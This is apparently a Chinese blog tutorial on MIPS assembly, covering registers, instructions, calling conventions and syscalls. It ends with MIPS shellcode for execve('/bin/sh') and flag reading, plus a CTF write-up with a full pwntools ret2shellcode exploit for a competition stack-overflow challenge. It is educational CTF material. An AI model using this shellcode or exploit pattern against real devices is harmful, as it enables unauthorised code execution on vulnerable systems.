mips汇编学习
参考文献
【十分钟教会你汇编】MIPS编程入门(妈妈说标题要高大上,才会有人看>_<!)
路由器漏洞复现终极奥义——基于MIPS的shellcode编写
数据类型
在mips中数据类型与amd64不同,如下:
| 名称 | 大小 | 备注 |
|---|---|---|
| byte | 1 字节 | 8 bit |
| halfword | 2 字节 | 16 bit |
| word | 4 字节 | 32 bit,正好是一个寄存器宽度 |
| doubleword | 8 字节 | 64 bit(MIPS64 才常用) |
寄存器
mips下一共有32个通用寄存器,寄存器表示可以有两种方式,一种为寄存器编号,另一种是寄存器名
| Register Number寄存器编号 | Alternative Name寄存器名 | Description寄存器用途 |
|---|---|---|
| 0 | zero | the value 0 |
| 1 | at | (assembler temporary) 汇编保留寄存器 |
| 2-3 | v0 - v1 | (values) 存储表达式或者是函数的返回值 |
| 4-7 | a0 - a3 | (arguments) 存储子程序的前4个参数 |
| 8-15 | t0 - t7 | (temporaries) 临时变量 |
| 16-23 | s0 - s7 | (saved values) 需要被调用时保存 |
| 24-25 | t8 - t9 | (temporaries) 属性同t0~t7 |
| 26-27 | k0 - k1 | (Kernel Reserved) 保留给内核使用 |
| 28 | gp | (global pointer) 全局指针寄存器 |
| 29 | sp | (stack pointer) 栈指针,指向的是栈顶 |
| 30 | s8/fp | (Saved/Frame Pointer) 帧指针 |
| 31 | ra | (return address) 返回地址 |
访问寄存器或内存
load
| 指令 | 加载大小 | 扩展方式 | 典型用途 |
|---|---|---|---|
| lb | 1 字节 | 带符号扩展 | char、8-bit signed |
| lbu | 1 字节 | 无符号扩展 | unsigned char、读取字节流 |
| lh | 2 字节 | 带符号扩展 | short、16-bit signed |
| lhu | 2 字节 | 无符号扩展 | unsigned short |
| lw | 4 字节 | 直接装载 | int、指针、地址 |
| lwl / lwr | 非对齐字读取 | 从左/右对齐加载 | 读取非对齐内存 |
| ld(MIPS64) | 8 字节 | 直接装载 | long long、64-bit pointer |
1lw register_destination, RAM_source从内存中复制RAM_source的内容到对应的寄存器中,lw即复制四字节
1lb register_destination, RAM_source从内存中复制RAM_source的内容到对应的寄存器中,lb即复制一字节
store
| 指令 | 写入大小 | 常见用途 |
|---|---|---|
| sb | 1 字节 | 写 char、字节流 |
| sh | 2 字节 | 写 short |
| sw | 4 字节 | 写 int、指针、结构体字段 |
| swl | 非对齐左写 | 写非对齐地址 |
| swr | 非对齐右写 | 写非对齐地址 |
| sd(MIPS64) | 8 字节 | 写 64-bit 数据 |
1sw register_source, RAM_destination将指定寄存器中的数据写入到指定的内存中,sw即写入四字节
1sb register_source, RAM_destination将指定寄存器中的数据写入到指定的内存中,sb即写入一字节
load immediate
1li register_destination, value即直接将立即数放入指定的寄存器中
注意,这个是伪指令,由编译器自动转换为机器指令
直接与间接寻址
load address
1la $t0, var1将var1的地址赋值给t0寄存器
indirect addressing
1lw $t2, ($t0)从t0寄存器指向的地址中取出四字节写入t2寄存器中
1sw $t2, ($t0)将t2寄存器的内容写入t0寄存器所存储的地址中
控制流
branch
1b target # unconditional branch to program label target2beq $t0,$t1,target # branch to target if $t0 = $t13blt $t0,$t1,target # branch to target if $t0 < $t14ble $t0,$t1,target # branch to target if $t0 <= $t15bgt $t0,$t1,target # branch to target if $t0 > $t16bge $t0,$t1,target # branch to target if $t0 >= $t17bne $t0,$t1,target # branch to target if $t0 <> $t1jmp
1j target # unconditional jump to program label target2jr $t3 # jump to address contained in $t3 ("jump register")call functions
1jal sub_label # "jump and link"2jr $ra # "jump register"先jal调用,最后通过jr返回
运算指令
算数指令
| 指令 | 格式 | 说明 | 是否检测溢出 | 示例 |
|---|---|---|---|---|
add | add $d,$s,$t | $d = $s + $t | 是 | add $t0,$t1,$t2 |
addu | addu $d,$s,$t | 无符号加法(不检查溢出) | 否 | addu $t0,$t1,$t2 |
addi | addi $t,$s,imm | 立即数加法 | 是 | addi $t0,$t1,5 |
addiu | addiu $t,$s,imm | 无符号立即数加法 | 否 | addiu $t0,$t1,5 |
sub | sub $d,$s,$t | 减法(检查溢出) | 是 | sub $t0,$t1,$t2 |
subu | subu $d,$s,$t | 无符号减法 | 否 | subu $t0,$t1,$t2 |
逻辑指令
| 指令 | 格式 | 说明 | 示例 |
|---|---|---|---|
and | and $d,$s,$t | 按位与 | and $t0,$t1,$t2 |
andi | andi $t,$s,imm | 与立即数 | andi $t0,$t1,0xFF |
or | or $d,$s,$t | 按位或 | or $t0,$t1,$t2 |
ori | ori $t,$s,imm | 或立即数 | ori $t0,$t1,10 |
xor | xor $d,$s,$t | 按位异或 | xor $t0,$t1,$t2 |
xori | xori $t,$s,imm | 异或立即数 | xori $t0,$t1,7 |
nor | nor $d,$s,$t | 或非(not or) | nor $t0,$zero,$zero → 得到全 1 |
移位指令
| 指令 | 格式 | 说明 | 示例 |
|---|---|---|---|
sll | sll $d,$t,shamt | 左移(逻辑) | sll $t1,$t0,2 |
srl | srl $d,$t,shamt | 右移(逻辑,补 0) | srl $t1,$t0,1 |
sra | sra $d,$t,shamt | 算术右移(补符号位) | sra $t1,$t0,1 |
sllv | sllv $d,$t,$s | 可变左移(shift amount 来自寄存器) | |
srlv | srlv $d,$t,$s | 可变逻辑右移 | |
srav | srav $d,$t,$s | 可变算术右移 |
比较指令
| 指令 | 格式 | 说明 | 示例 |
|---|---|---|---|
slt | slt $d,$s,$t | 若 $s < $t 则 $d=1,否则 0(有符号) | slt $t2,$t0,$t1 |
sltu | sltu $d,$s,$t | 无符号比较 | sltu $t2,$t0,$t1 |
slti | slti $t,$s,imm | 立即数比较(有符号) | |
sltiu | sltiu $t,$s,imm | 无符号立即数比较 |
乘法 / 除法
| 指令 | 格式 | 说明 |
|---|---|---|
mult | mult $s,$t | 有符号 32×32 → 64 位到 HI/LO |
multu | multu $s,$t | 无符号乘法 |
div | div $s,$t | 有符号除法:HI=余数,LO=商 |
divu | divu $s,$t | 无符号除法 |
mflo | mflo $d | 取 LO(乘法结果的低 32 位 / 商) |
mfhi | mfhi $d | 取 HI(高 32 位 / 余数) |
mtlo | mtlo $s | 写 LO |
mthi | mthi $s | 写 HI |
常见伪指令
| 伪指令 | 实际效果 | 展开示例 |
|---|---|---|
li | 加载立即数 | li $t0, 100 → lui+ori |
move | 寄存器复制 | addu $t0,$t1,$zero |
not | 取反 | nor $t0,$t1,$zero |
neg | 取负数 | subu $t0,$zero,$t1 |
叶子函数与非叶子函数
mips架构中有叶子函数和非叶子函数的区别,叶子函数就是此函数自身不再调用别的函数,非叶子函数就是此函数自身调用别的函数。
叶子函数和非叶子函数在存放返回地址的时候,存在差异。叶子函数只把返回地址保存在ra寄存其中,结束函数调用的时候,通过jr $ra指令返回即可。非叶子函数把在函数调用初始把ra寄存器中的返回地址保存在栈中,然后结束函数调用的时候将栈中保存的返回地址加载到ra寄存器中,再通过jr $ra指令返回。


调用约定与系统调用
mips调用函数时,前四个参数存储在a0 - a3中,剩余的参数存储在栈中

mips的系统调用表在/usr/mips-linux-gnu/include/asm/unistd_o32.h中

__NR_Linux的值是4000,其定义在/usr/mips-linux-gnu/include/asm/unistd.h中

在mips的系统调用中,需要在v0中传递服务编号/代号,然后将参数按顺序放在a0-a3中,若超过四个参数则从第五个参数开始可放在栈中,随后调用syscall,返回值存储在v0中。根据这个系统调用规则我们可以写出shellcode
shellcode
exit(0)
1li $v0, 40012li $a0, 03syscallexecve(“/bin/sh”, 0, 0)
1li $t7, 0x2f62696e2sw $t7, ($sp)3li $t7, 0x2f7368004sw $t7, 4($sp)5
6move $a0, $sp7move $a1, $zero8move $a2, $zero9li $v0, 401110syscallopen + read + write
1li $t7, 0x2f666c612sw $t7, ($sp)3li $t7, 0x670000004sw $t7, 4($sp)5
6move $a0, $sp7move $a1, $zero8li $v0, 40059syscall10
11move $a0, $v012move $a1, $sp13li $a2, 0x10014li $v0, 400315syscall6 collapsed lines
16
17li $a0, 118move $a1, $sp19li $a2, 0x10020li $v0, 400421syscall来一道真题
2025年第八届浙江省大学生网络与信息安全竞赛决赛 pwn1 mips_pwn_challenge

mips架构,大端序,静态链接

没开PIE,没开NX所以堆栈可执行

IDA打开,很明显程序能够输出一个栈地址且存在一个栈溢出,因此考虑打ret2shellcode
我们按照正常调试思路去查看输入数据在栈中的位置,以及观察数据需要覆盖到哪一个地址


数据在当前栈中的位置是0x407ffa00,同时我们可以看到这条指令lw $ra, 0x44($sp),所以返回地址存储在sp+0x44即0x407ffa2c处,所以要覆盖0x2c字节就能修改返回地址
接下来就可以注入shellcode,并通过泄露的栈地址计算出shellcode开始的位置即可,需要在一次输入中做到注入shellcode + 挟持返回地址为shellcode地址的操作
若我们直接在返回地址之后注入shellcode,通过动态调试可以知道,注入的地址为已泄露地址+0x30,因此输入payload可以这样写

1from pwn import *2
3context(os="linux",arch="mips",log_level="debug", endian='big')4
5# io = process(["qemu-mips", "-g", "1234", "./pwn"])6io = process(["qemu-mips", "./pwn"])7
8stop = pause9S = pause10leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))11x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))12s = io.send13sl = io.sendline14sla = io.sendlineafter15sa = io.sendafter36 collapsed lines
16slt = io.sendlinethen17st = io.sendthen18r = io.recv19rn = io.recvn20rr = io.recvregex21ru = io.recvuntil22ra = io.recvall23rl = io.recvline24rs = io.recvlines25rls = io.recvline_startswith26rle = io.recvline_endswith27rlc = io.recvline_contains28ia = io.interactive29cr = io.can_recv30
31shell = """32li $t7, 0x2f62696e33sw $t7, ($sp)34li $t7, 0x2f73680035sw $t7, 4($sp)36
37move $a0, $sp38move $a1, $zero39move $a2, $zero40li $v0, 401141syscall42"""43shell = asm(shell)44ru(b"input number of magic")45sl(b"255")46ru(b"0x")47stack = int(r(8), 16)48pause()49s(b"A"*0x2c + p32(stack+0x30) + shell)50
51ia()